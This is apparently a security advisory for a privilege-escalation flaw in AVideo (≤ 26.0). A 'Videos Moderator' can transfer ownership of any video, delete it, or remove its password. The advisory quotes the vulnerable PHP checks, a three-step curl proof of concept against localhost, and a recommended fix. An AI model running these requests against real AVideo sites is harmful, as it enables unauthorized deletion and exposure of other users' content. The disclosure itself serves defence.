| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that Permissions::canModerateVideos() is used as an authorization gate for full video editing in videoAddNew.json.php, while videoDelete.json.php only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.
The PERMISSION_INACTIVATEVIDEOS (ID 11) permission is described as a limited moderator role in plugin/Permissions/Permissions.php:213:
$permissions[] = new PluginPermissionOption(
Permissions::PERMISSION_INACTIVATEVIDEOS,
__('Videos Moderator'),
__('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'),
'Permissions'
);
However, Permissions::canModerateVideos() (Permissions.php:175) is reused as an authorization gate in multiple locations in videoAddNew.json.php that go far beyond status changes:
1. Upload gate bypass (videoAddNew.json.php:10):
User::canUpload() (user.php:2650) returns true if Permissions::canModerateVideos() is true, granting moderators upload access.
2. Edit gate bypass (videoAddNew.json.php:19):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
die('{"error":"2 ' . __("Permission denied") . '"}');
}
Video::canEdit() correctly checks only canAdminVideos() and ownership, but the || !Permissions::canModerateVideos() fallback allows moderators to edit any video.
3. Ownership transfer (videoAddNew.json.php:222):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() ||
Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {
$obj->setUsers_id($_POST['users_id']);
}
userCanChangeVideoOwner defaults to false (CustomizeUser.php:286), but canModerateVideos() provides an unconditional bypass, allowing any moderator to reassign ownership of any video.
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Scan my site free4. Delete via ownership (videoDelete.json.php:22-28):
if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){
if (!$video->userCanManageVideo()) {
// denied
}
}
$id = $video->delete();
userCanManageVideo() (video.php:3614) checks canAdminVideos() (not canModerateVideos()), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.
The authorization asymmetry: videoAddNew.json.php treats canModerateVideos() as equivalent to canAdminVideos(), but videoDelete.json.php and userCanManageVideo() do not — creating a gap exploitable by transferring ownership first.
Additional fields a moderator can modify beyond their intended scope:
only_for_paid (line 210) — make premium content freevideo_password (line 211) — change/remove password protectioncategories_id (line 168) — alter content categorizationvideoGroups (line 175) — modify user group visibilityPrerequisites: An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.
Step 1: Transfer ownership of target video to attacker
# ATTACKER_USER_ID = moderator's user ID
# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged"
Expected response: {"status":true, ...} — ownership is now transferred to the attacker.
Step 2: Delete the video (now owned by attacker)
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoDelete.json.php' \
-d "id[]=TARGET_VIDEO_ID"
Expected response: {"error":false, ...} — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.
Step 3 (additional impact): Access password-protected video
curl -s -b cookies.txt -X POST \
'http://localhost/objects/videoAddNew.json.php' \
-d "id=TARGET_VIDEO_ID&video_password=&title=unchanged"
This removes the video password, granting the moderator (and everyone) access to previously protected content.
only_for_paid), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity."The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.
Replace Permissions::canModerateVideos() with Permissions::canAdminVideos() in videoAddNew.json.php where full edit capabilities are granted. Keep canModerateVideos() only for the specific status/publicity change operations it was designed for.
Fix for ownership transfer (videoAddNew.json.php:222):
// Before (vulnerable):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...
// After (fixed):
if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...
Fix for edit gate (videoAddNew.json.php:19):
// Before (vulnerable):
if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {
// After (fixed):
if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {
Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor videoAddNew.json.php to check canModerateVideos() only around the specific status-change logic (lines 238-248) and require canAdminVideos() for all other fields.